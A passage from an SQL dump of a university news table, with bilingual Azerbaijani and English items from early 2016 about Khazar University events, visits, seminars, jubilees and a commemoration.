haqqında da danışılmışdır.</p>\r\n<p>Müsahibəni tam şəkildə bu link\r\nvasitəsilə oxumaq olar:</p>\r\n<p><a href=\"http://hafta.az/index2.php?m=yazi&amp;id=175181\">http://hafta.az/index2.php?m=yazi&amp;id=175181</a></p>\r\n<p>&nbsp;</p>'),(1409,889,'en','Khazar Mentioned in Interview on hafta.az Site','On April 1, 2016, an interview with Rafael Baghirov, Deputy Ambassador of Azerbaijan to Egypt, entitled “There are Six Armenian Churches in Egypt” was published on the hafta.az news site. The article also mentioned the recent trip to Egypt of Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, and the newly-formed agreement between Khazar University and Misr University of Science and Technology.','<p>On April 1, 2016, an\r\ninterview with Rafael Baghirov, Deputy Ambassador of Azerbaijan\r\nto Egypt, entitled “There are\r\nSix Armenian Churches in Egypt” was published on the hafta.az news site. The\r\narticle also mentioned the recent trip to Egypt of Professor Hamlet Isaxanli, the founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees, and the\r\nnewly-formed agreement between Khazar University and Misr University of Science\r\nand Technology. </p>\r\n<p>The full text of the\r\ninterview is available (in Azerbaijani) at the following link: </p>\r\n<p><a href=\"http://hafta.az/index2.php?m=yazi&amp;id=175181\">http://hafta.az/index2.php?m=yazi&amp;id=175181</a>.&nbsp;</p>'),(1410,890,'az','Təhsil sərgisi keçirildi','2016-cı il aprelin2-si və 3-də Bakı şəhərində “Akademi Qrup”un təşkilatçılığı ilə Türkiyə Universitetlərinin təhsil sərgisi keçirildi. Sərgidə Tükiyədən çoxlu sayda universitet – Boğaziçi, Bilkent, İstanbul­-Aydın, Fatih, Kahramanmaraş Sütçü İmam və digər universitetlər iştirak edirdi.','<p>2016-cı il aprelin2-si və 3-də Bakı şəhərində “Akademi\r\nQrup”un təşkilatçılığı ilə Türkiyə Universitetlərinin təhsil sərgisi keçirildi.\r\nSərgidə Tükiyədən çoxlu sayda universitet – Boğaziçi, Bilkent, İstanbul­-Aydın,\r\nFatih, Kahramanmaraş Sütçü İmam və digər universitetlər iştirak edirdi. Sərgidə\r\nAzərbaycandan isə yalnız Xəzər Universiteti təmsil olunurdu. Sərgiyə gələn\r\nçoxsaylı ziyarətçilər Xəzər Universiteti və oradakı fakültələrlə əlaqədar\r\nolaraq geniş məlumat almaq imkanı əldə etdilər. Əməkdaşlarımız Aysel Əkbərova və\r\nSevinc Şəfiyeva nümunəvi davranışları ilə Xəzər Universiteti üçün ayrılmış guşədə\r\nşagirdlərin, valideynlərin və media mənsublarının diqqətini cəlb etdilər. Onlar\r\nsərginin təşkilatçıları tərəfindən təşəkkürə layiq görüldülər. Elə həmin gün Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı və İctimai əlaqələr və media üzrə direktor Əlövsət Əmirbəyli sərgini\r\nziyarət etdilər, sərgidə iştirak edən universitetlərin nümayəndələri ilə\r\ngörüşdülər. </p>\r\n<p>Həmin gün “Akademi\r\nQrup” tərəfindən sərgidə iştirak edən qonaqların şərəfinə ziyafət verildi.\r\nZiyafətdə Xəzər Universiteti adından Ə.Əmirbəyli iştirak etdi.</p>'),(1411,890,'en','Education Fair Held','On April 2-3, 2016, an Education Fair of Turkish universities was held in Baku with the coordination of Academy Group. The fair include representatives from many universities of Turkey, including Boğaziçi, Bilkent, İstanbul­-Aydın, Fatih, Kahramanmaraş Sütçü İmam, and others.','<p>On April 2-3, 2016, an Education Fair of\r\nTurkish universities was held in Baku with the coordination of Academy Group.\r\nThe fair include representatives from many universities of Turkey, including\r\nBoğaziçi, Bilkent, İstanbul­-Aydın, Fatih, Kahramanmaraş Sütçü İmam, and\r\nothers. The only Azerbaijani university represented at the fair was Khazar\r\nUniversity. Many visitors to the Fair obtained information about Khazar and its\r\nschools. Representatives Aysel Akbarova and Sevinj Shafiyeva were noticed by\r\nstudents, parents and media representatives visiting the fair, and they were\r\nthanked by the event administration. Professor Hamlet Isaxanli, the founder of\r\nKhazar University and Chairman of its Board of Directors and Trustees; and\r\nAlovsat Amirbeyli, Director for Public Relations and Media; also visited the\r\nFair. </p>\r\n<p>The same day, Academy Group gave a banquet\r\nfor guests. Alovsat Amirbeyli participated in the banquet on behalf of Khazar\r\nUniversity.&nbsp;</p>'),(1412,891,'en','Final Dissemination Conference on PACT','The Final Dissemination Conference on the PACT (Project Actors Capacity Building) TEMPUS project is organized by Khazar University and will be held at Marriott JW Hotel on April 14th, 2016.','<p>The Final Dissemination Conference on the PACT (Project\r\nActors Capacity Building) TEMPUS project is organized by Khazar University and\r\nwill be held at Marriott JW Hotel on April 14<sup>th</sup>, 2016. The\r\nconference will be devoted to discussion and presentations on the project\r\nresults. It will feature one guest speaker and many other activities, including\r\nteam building activities. </p>\r\n<p>The event will start at 9:30 at Marriott JW Hotel in Baku,\r\nAzerbaijan. </p>\r\n<p>&nbsp;</p>'),(1413,892,'az','“Elm və Sənət Məclisi”nin 66-cı məşğələsi keçiriləcək','2016-cı il aprelin 18-i saat 16:00-da Xəzər Universitetinin şəhərin mərkəzindəki binasında (Bəşir Səfəroğlu küçəsi,122) “Elm və Sənət Məclisi”nin 66-cı məşğələsi keçiriləcək. ','<p>2016-cı il aprelin 18-i saat 16:00-da Xəzər Universitetinin şəhərin mərkəzindəki\r\nbinasında (Bəşir Səfəroğlu küçəsi,122) “Elm və Sənət Məclisi”nin 66-cı məşğələsi\r\nkeçiriləcək. Budəfəki məşğələ “Avropadakı köçəri xalqlar: erkən orta əsr Avropa\r\ntarixinin təşəkkülündə macarların və türklərin rolu” mövzusuna həsr olunmuşdur.\r\nƏsas məruzəçi professor İstvan Zimonyidir (Szeged Universiteti/ Macarıstan).</p>\r\n<p>Maraqlanan hər kəs məşğələyə dəvət olunur.</p>\r\n<p><strong><em>&nbsp;</em></strong></p>\r\n<p><strong><em>Elm və Sənət Məclisinin\r\nkatibliyi </em></strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p>&nbsp;</p>'),(1414,892,'en','Assembly of Science and Art to hold 66th Meeting','On April 18, 2016, the 66th meeting of the Assembly of Science and Art will be held at 16:00 on the downtown campus of Khazar University (122 Bashir Safaroghlu St). ','<p>On\r\nApril 18, 2016, the 66<sup>th</sup> meeting of the Assembly of Science and Art\r\nwill be held at 16:00 on the downtown campus of Khazar University (122 Bashir\r\nSafaroghlu St). The guest lecturer is Professor Istvan Zimonyi (Szeged\r\nUniversity, Hungary) who will speak about “Nomads in Europe: Magyars and Turks\r\nin shaping the early medieval European history.” </p>\r\n<p>Everyone\r\nis welcome to attend. </p>\r\n<p><strong><em>Assembly of Science and Art Secretariat</em></strong></p>\r\n<p>&nbsp;</p>'),(1415,893,'en','Jubilees at Khazar ','On April 1, 2016, a party was held in the Conference Room of Khazar University to celebrate the 60th birthday of Dr. Eldar Shahgaldiyev, Head of the Division for Graduate Students and Research, and the 50th birthday of Shahin Isayev, Construction Manager.','<p>On April\r\n1, 2016, a party was held in the Conference Room of Khazar University to\r\ncelebrate the 60th birthday of Dr. Eldar\r\nShahgaldiyev, Head of the Division for Graduate Students and Research, and the\r\n50<sup>th</sup> birthday of Shahin Isayev, Construction Manager. The emcee of\r\nthe event was Baba Bayramli, Director of the Center for Alumni Relations, who\r\nbegan the event by speaking about Eldar Shahgaldiyev and Shahin Isayev’s work\r\nat Khazar. Then the audience watched slideshows about each person that had been\r\nprepared by the university’s Multimedia Center. </p>\r\n<p>Professor Hamlet Isaxanli,\r\nthe founder of Khazar University and Chairman of its Board of Directors and\r\nTrustees, President Hassan Niknafs and Vice President Mahammad Nuriyev also\r\nmade congratulatory speeches. They were followed by Firangiz Nasirova, Senior\r\nInstructor of the Department of English Language and Literature; Alovsat\r\nAmirbeyli, Director for Public Relations and Media; and Associate Professor Jabir Khalilov, Dean of the School of Humanities\r\nand Social Sciences. </p>\r\n<p>The event included a\r\nconcert program by the Department of Music and Fine Arts, including vocal\r\nperformances by Mahsati Jabbarova, vocal instructor at the university as well\r\nas soloist for Azerbaijan State Philharmonic; and Khayala Ilizarova, soloist\r\nfor Musical Comedy Theater. </p>\r\n<p>At the end of the event,\r\nEldar Shahgaldiyev and Shahin Isayev thanked the university administration and\r\nparticipants.</p>'),(1416,893,'az','“Xəzər”də yubileylər','','<p>Martın 31-də universitetin akt zalında\r\nMagistratura, doktorantura və elmi işlər bölməsinin müdiri, fəlsəfə doktoru\r\nEldar Şahgəldiyevin 60, tikinti üzrə menecer Şahin İsayevin 50 illik yubiley&nbsp; tədbirləri keçirildi. Tədbirin aparıcısı, Məzunlarla\r\niş mərkəzinin müdiri Baba Bayramlı yubilyarların universitetdəki fəaliyyəti\r\nhaqqında məlumat verdi. Universitetin Multimedia&nbsp; mərkəzinin hər bir yubilyar haqqında\r\nhazırladığı slayd-şoular nümayiş etdirildi. </p>\r\n<p>Xəzər Universitetinni təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı, rektor Hassan niknafs və prorektor Məhəmməd\r\nNuriyev yubilyarlara təbrk məktubları və gül dəstələri təqdim etdilər, gələcək\r\nişlərində onlara uğurlar arzuladılar.</p>\r\n<p>İngilis dili və ədəbiyyatı departamentinin baş müəllimi\r\nFirəngiz Nəsirova, İctimai əlaqələr və media üzrə direktor Əlövsət Əmirbəyli,\r\nHumanitar və sosial elmlər fakültəsinin dekanı Cabir Xəlilov yubilyarlar\r\nhaqqında ürək sözlərini söylədilər.</p>\r\n<p>Mərasim Musiqi və incəsənət departamentinin\r\nhazırladığı konsert proqramı ilə müşayiət olundu. Azərbaycan Dövlət\r\nFilarmoniyasının solisti, universitetin vokal müəllimi Məhsəti Cabbarova və\r\nMusiqili Komediya Teatrının solisti Xəyalə İlizarova mahnılar ifa etdilər.</p>\r\n<p>Sonda yubilyarlar - Eldar Şahgəldiyev və Şahin\r\nİsayev mərasimin təşkilinə görə universitet rəhbərliyinə və iştirakçılara təşəkkürlərini\r\nbildirdilər.</p>\r\n<p>&nbsp;</p>  <p><strong>TƏBRİK MƏKTUBLARI</strong></p>\r\n<p><strong><em>&nbsp;</em></strong></p>\r\n<p><strong><em>Əziz Eldar müəllim!</em></strong></p>\r\n<p>Xəzər\r\nUniversiteti kollektivi adından Sizi 60 illik yubileyiniz münasibətilə səmimi-qəlbdən\r\ntəbrik edir, Sizə möhkəm çansağlığı, uzun ömür, fəaliyyətinizdə uğurlar\r\narzulayırıq.</p>\r\n<p>Siz uzun illərdir\r\nki, ölkənin təhsil həyatında&nbsp; səmərəli fəaliyyət\r\ngöstərirsiniz. 1978-ci ildə Azərbaycan Xarici Dillər İnstitutunu bitirəndən\r\nsonra təyinatla fəaliyyətə başladığınız Ağdaş orta texniki peşə məktəbində müəllim\r\nvə tərbiyəçi kimi çalışmış, sonra Xarici Dillər İnstitutunda pedaqoji fəaliyyətinizi\r\ndavam etdirmisiniz.</p>\r\n<p>1982-ci ildə Azərbaycan\r\nElmlər Akademiyasının Fəlsəfə və Hüquq İnstitutunun aspiranturasına daxil\r\nolmuş, dissertasiya müdafiə edərək, fəlsəfə elmləri namizədi elmi dərəcəsi\r\nalmısınız. Monoqrafiyalar və çoxlu elmi məqalələr müəllifisiniz.</p>\r\n<p>Ötən illər ərzində\r\nBMT və ona aid olan bir sıra beynəlxalq xarici təsisatlarda rəhbər vəzifələrdə\r\ndə uğurla çalışmısınız. </p>\r\n<p>Siz 1999-cu ildən\r\nXəzər Universitetində işləyirsiniz. Universitetin magistraturasında müəllim\r\nkimi fəaliyyətə başlamış, sonradan İngilis dili və ədəbiyyatı departamentinin\r\nmüdiri vəzifəsində universitetin təhsil prosesinə layiqli töhfələr vermisiniz.\r\nHazırda daşıdığınız vəzifə xüsusilə önəmlidir. Siz universitetin&nbsp; Magistratura, doktorantura və elmi işlər bölməsinin&nbsp; yarandığı gündən onun ilk müdiri kimi yüksək\r\nsəviyyəli elmi kadrların hazırlanması üçün səy və bacarığınızı əsirgəmirsiniz.</p>\r\n<p>Əziz Eldar müəllim,\r\nuniversitet kollektivi sizi səmimi, nəcib, xeyirxah və ləyaqətli bir insan kimi\r\ntanıyır və sevir. Əminik ki, hələ uzun illər bizimlə birlikdə fəaliyyət göstərəcək,\r\nuniversitetimizin uğurlarının artmasına&nbsp;\r\nöz töhfənizi verəcəksiniz.</p>\r\n<p>Sizi bir daha\r\nyubileyiniz münasibətilə ürəkdən təbrik edirik.</p>\r\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\r\n<p><strong><em>Xəzər Universiteti kollektivi adından</em></strong></p>\r\n<p><strong><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dr.\r\nHassan Niknafs</em></strong></p>\r\n<p><strong><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Rektor</em></strong></p>\r\n<p><strong><em>&nbsp;</em></strong></p>\r\n<p><strong><em>Əziz Şahin müəllim!</em></strong></p>\r\n<p>Xəzər\r\nUniversiteti kollektivi adından Sizi 50 illik yubileyiniz münasibətilə səmimi-qəlbdən\r\ntəbrik edir, Sizə möhkəm çansağlığı, uzun ömür, fəaliyyətinizdə uğurlar\r\narzulayırıq.</p>\r\n<p>Siz gənclik illərinizdən\r\nəmək həyatına başlamış, müxtəlif müəssisələrdə, o cümlədən özəl sektorda fərqli\r\nvə rəhbər işlərdə çalışmış, hər sahədə də özünüzü ciddi və məsuliyyətli işçi\r\nkimi tanıtmısınız. </p>\r\n<p>Siz 1998-ci ildən\r\nXəzər Universitetində tikinti meneceri kimi məsul vəzifədə çalışırsınız. Ötən\r\nillər ərzində universitetin yeni inşa olunan kampuslarının, o cümlədən “Dünya”\r\nməktəbi kompleksi kimi müasir təhsil ocağının ərsəyə gəlməsində, tədris-təcrübə\r\nlaboratoriyalarının qurulmasında, universitet kampuslarının tədris üçün yaralı\r\nhalda qorunub saxlanmasında,&nbsp; müvafiq\r\ncari işlərin görülməsində sizin xidmətləriniz misilsizdir.</p>\r\n<p>Əziz Şahin müəllim,\r\nuniversitet kollektivi sizin işgüzar fəaliyyətinizi, səmimi davranışınızı yüksək\r\nqiymətləndirir və əmindir ki, siz bundan sonra da Xəzər Universitetinin genişlənməsinə,\r\nyeni kampuslarının inşasına layiqli töhfənizi verəcəksiniz.</p>\r\n<p>Sizi bir daha\r\nyubileyiniz münasibətilə ürəkdən təbrik edirik.</p>\r\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\r\n<p><strong><em>Xəzər Universiteti kollektivi adından</em></strong></p>\r\n<p><strong><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dr.\r\nHassan Niknafs</em></strong></p>\r\n<p><strong><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Rektor</em></strong></p>\r\n<p><strong><em>&nbsp;</em></strong></p>'),(1417,894,'en','Seminar on Writing Training Results by Subject Based on Azerbaijani Qualifications Framework ','On March 29-31, 2016, Khazar University faculty members participated in a training seminar organized by the Ministry of Education on “Writing Training Results by Subject Based on Azerbaijani Qualifications Framework.”','<p>On March 29-31, 2016, Khazar University\r\nfaculty members participated in a training seminar organized by the Ministry of\r\nEducation on “Writing Training Results by Subject Based on Azerbaijani\r\nQualifications Framework.” The main objective of the seminar was to introduce\r\nbasic concepts and principles of curriculum writing for programs in technical,\r\nbusiness management and educational majors as well as evaluation of student\r\nknowledge and to develop related skills. </p>\r\n<p>The training was led by higher education\r\nexperts from Estonia and Finland. At the end of the event, certificates were\r\npresented to trainees.&nbsp;</p>'),(1418,894,'az','“Azərbaycan Kvalifikasiyalar Çərçivəsi əsasında fənn üzrə təlim nəticələrinin yazılması” adlı seminar keçirildi','2016-cı il martın 29-dan 31-dək Xəzər Universitetinin professor-müəllim heyəti Təhsil Nazirliyi tərəfindən təşkil olunmuş “Azərbaycan Kvalifikasiyalar Çərçivəsi əsasında fənn üzrə təlim nəticələrinin yazılması” adlı seminarda iştirak etdi. ','<p>2016-cı il martın 29-dan 31-dək&nbsp;Xəzər\r\nUniversitetinin professor-müəllim heyəti Təhsil Nazirliyi tərəfindən təşkil\r\nolunmuş “Azərbaycan Kvalifikasiyalar Çərçivəsi əsasında fənn üzrə təlim nəticələrinin\r\nyazılması” adlı seminarda iştirak etdi. Seminarın əsas məqsədi texniki,\r\nbiznesin idarə olunması, müəllim hazırlığı ilə bağlı ixtisaslar üzrə fənn\r\nproqramlarının hazırlanması, tələbə biliklərinin qiymətləndirilməsinin əsas\r\nanlayışları və prinsiplərini təqdim etmək və tələb olunan bacarıqları inkişaf\r\netdirmək idi.</p>\r\n<p>Təlim Estoniya və Finlandiya ali təhsil sahəsi üzrə\r\nekspertlər tərəfindən aparılırdı. </p>\r\n<p>Təlimin sonunda iştirakçılara sertifikatlar təqdim olundu. </p>\r\n<p>&nbsp;</p>'),(1419,895,'az','Əcnəbi tələbələr Beynəlxalq Tələbələr Birliyinin yaradılmasını müzakirə etdilər','2016-cı il martın 30-da Xəzər Universitetinin Kamerun, Çexiya, Qana, Pakistan, Fələstin və Zimbabvedən olan bir qrup əcnəbi tələbəsi Beynəlxalq Tələbələr Birliyinin yaradılmasını müzakirə etmək üçün universitetin Beynəlxalq Əlaqələr Şöbəsinin ofisində toplandılar. ','<p>2016-cı il martın 30-da Xəzər\r\nUniversitetinin&nbsp;Kamerun, Çexiya, Qana, Pakistan, Fələstin və Zimbabvedən\r\nolan bir qrup əcnəbitələbəsi Beynəlxalq\r\nTələbələr Birliyinin yaradılmasını müzakirə etmək üçün universitetin Beynəlxalq\r\nƏlaqələr Şöbəsinin ofisində toplandılar.&nbsp;</p>\r\n<p>Xəzər Universitetində təhsil alan bütün əcnəbi tələbələri birləşdirən\r\nbirliyi yaratmaq fikri bu ilin&nbsp;yaz semestirinin əvvəlində keçirilən oriyentasiya sessiyasında təklif edilmişdi. Əcnəbi tələbələrin növbəti görüşləri&nbsp;birliyin\r\nstrukturu və əsas fəaliyyət istiqamətləri haqqında qərarların verilməsinə həsr\r\nolunacaq.&nbsp;</p>'),(1420,895,'en','International Students Hold a Meeting to Discuss Creation of International Students\' Union','On March 30, 2016, a group of international students representing various countries including Cameroon, Czech Republic, Ghana, Pakistan, Palestine, and Zimbabwe gathered to discuss the creation of the International Students\' Union.','<p>On March 30, 2016,\r\na group of international students representing various countries including\r\nCameroon, Czech Republic, Ghana, Pakistan, Palestine, and Zimbabwe gathered to\r\ndiscuss the creation of the International Students\' Union. </p>\r\n<p>&nbsp;</p>\r\n<p>The idea to create\r\nan association uniting all international students of Khazar University was\r\nfirst suggested during the orientation session held earlier this year, in the\r\nbeginning of the spring semester. Future meetings of the students will be\r\ndedicated to deciding on the structure and main activities of the union. </p>\r\n<p>&nbsp;</p>\r\n<p>The meeting was\r\nheld at the International Affairs Office at the Neftchilar Campus of Khazar\r\nUniversity. &nbsp;</p>'),(1421,896,'az','“Ernst and Young” şirkəti təqdimat keçirdi','2016-cı il martın 30-da Xəzər Universiteti Karyera Mərkəzinin təşkilatçılığı ilə “Ernst and Young” (EY) şirkətinin təqdimatı oldu. Təqdimatda Xəzər Universitetinin İqtisadiyyat və menecment fakültəsinin tələbələri iştirak edirdilər. ','<p>2016-cı il martın 30-da Xəzər Universiteti Karyera Mərkəzinin təşkilatçılığı\r\nilə “Ernst and Young” (EY) şirkətinin təqdimatı oldu. Təqdimatda Xəzər\r\nUniversitetinin İqtisadiyyat və menecment fakültəsinin tələbələri iştirak\r\nedirdilər. Təqdimat zamanı “Ernst and Young” şirkətinin İnsan resursları şöbəsinin\r\nmüdiri Samirə Şabanova tələbələrə şirkət haqqında və təcrübə proqramları barədə\r\ngeniş məlumat verdi.</p>\r\n<p>Təlimin sonunda\r\ntələbələrin sualları cavablandırıldı.</p>\r\n<p>&nbsp;</p>'),(1422,896,'en','Ernst and Young Presentation','On March 30, 2016, Khazar University’s Career Center organized a presentation of the Ernst and Young Company for students of the School of Economics and Management. Samira Shabanova, Director of the Human Resources Department of Ernst and Young, spoke to the students about the company and about internship programs.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">On March 30, 2016, Khazar\r\nUniversity’s Career Center organized a presentation of the Ernst and Young\r\nCompany for students of the School of Economics and Management. Samira\r\nShabanova, Director of the Human Resources Department of Ernst and Young, spoke\r\nto the students about the company and about internship programs. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">Students’ questions were\r\nanswered at the end of the event.</p>\r\n<p>&nbsp;</p>'),(1423,897,'az','“Xaricdə oxumaq nə deməkdir” adlı təqdimat keçirildi','2016-cı il aprelin 13-də Xəzər Universitetində “Xaricdə oxumaq nə deməkdir?” adlı təqdimat keçirildi. Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı tədbiri açdı.','<p>2016-cı il aprelin 13-də Xəzər Universitetində “Xaricdə oxumaq nə deməkdir?”\r\nadlı təqdimat keçirildi. Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı tədbiri açdı. </p>\r\n<p>Sonra “Dünya” məktəbinin\r\nhazırda təhsillərini İngiltərədə davam etdirən məzunları Esmiralda Şirinova və\r\nFatimə Xəlilova “Xəzər”in tələbələrinə, İngilis dili və ədəbiyyatı\r\ndepartamentinin müəllimlərinə xaricdə oxuduqları haqqında geniş məlumat verdilər.&nbsp;\r\n</p>\r\n<p>Tədbirin sonunda tələbələrin sualları\r\ncavablandırıldı.&nbsp;</p>'),(1424,897,'en','“What It Means to Study Abroad” Presentation','On April 13, 2016, a presentation on “What it means to study abroad” was hosted in Khazar University’s Department of English Language and Literature for instructors and students. Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, opened the event. ','<p>On April 13, 2016, a presentation on “What\r\nit means to study abroad” was hosted in Khazar University’s Department of\r\nEnglish Language and Literature for instructors and students. Professor Hamlet\r\nIsaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees, opened the event. Then the presentation was made by\r\nEsmiralda Shirinova and Fatima Khalilova, Dunya School alumni who are currently\r\nstudying in the UK. They shared details about their experiences studying\r\nabroad. At the end of the event, they answered students’ questions.</p>'),(1425,898,'en','University President Visits Iran','On January 2nd, 2016, Dr. Hassan Niknafs, the President of Khazar University, made a visit to Shahid Madani University in Tabriz, Iran. During this visit he met with the Rector of the University, Dr. Vali Zadeh, and the heads of all the schools. Dr. Niknafs gave a short presentation about Khazar University as well as its achievements since 1991. ','<p>On January 2<sup>nd</sup>, 2016, Dr. Hassan Niknafs, the\r\nPresident of Khazar University, made a visit to Shahid Madani University in\r\nTabriz, Iran. During this visit he met with the Rector of the University, Dr.\r\nVali Zadeh, and the heads of all the schools. Dr. Niknafs gave a short\r\npresentation about Khazar University as well as its achievements since 1991. He\r\nalso visited many laboratories and learned about the ongoing research activities\r\nof this university. Many aspects of mutual collaboration such as joint\r\nscientific conferences, student and teacher exchanges, and joint publications\r\nin English in between the two universities were discussed. An MoU will be\r\nsigned in the month of January 2016. Also, a delegation will be invited from\r\nShahid Madani University to visit Khazar University in the near future.</p>'),(1426,899,'en','Jafar Jabbarli Commemorated in Dunya School ','On December 26, an assembly was held in the concert hall of Khazar University’s affiliate Dunya School in memory of reputable playwright Jafar Jabbarli.','<p>On December 26, an assembly was held in the concert\r\nhall of Khazar University’s affiliate Dunya School in memory of reputable\r\nplaywright Jafar Jabbarli. </p>\r\n<p>Participants at the ceremony included Professor Hamlet\r\nIsaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees; Academic Isa Habibbeyli, Vice President of ANAS and\r\nDirector of the Nizami Literature Institute; Asif Rustamli, Meritorious\r\nJournalist; family members of the late playwright, including his daughter\r\nGulara Jabbarli, director of the Jafar Jabbarli House Museum, and his\r\ngranddaughter Gamar Seyfaddingizi; representatives of the Republic’s scholarly\r\nand artistic circles; members of parliament; and media representatives. </p>\r\n<p>The event began with a film about the playwright’s\r\nlife. Then teachers and students presented a live dramatization of his life and\r\nworks. 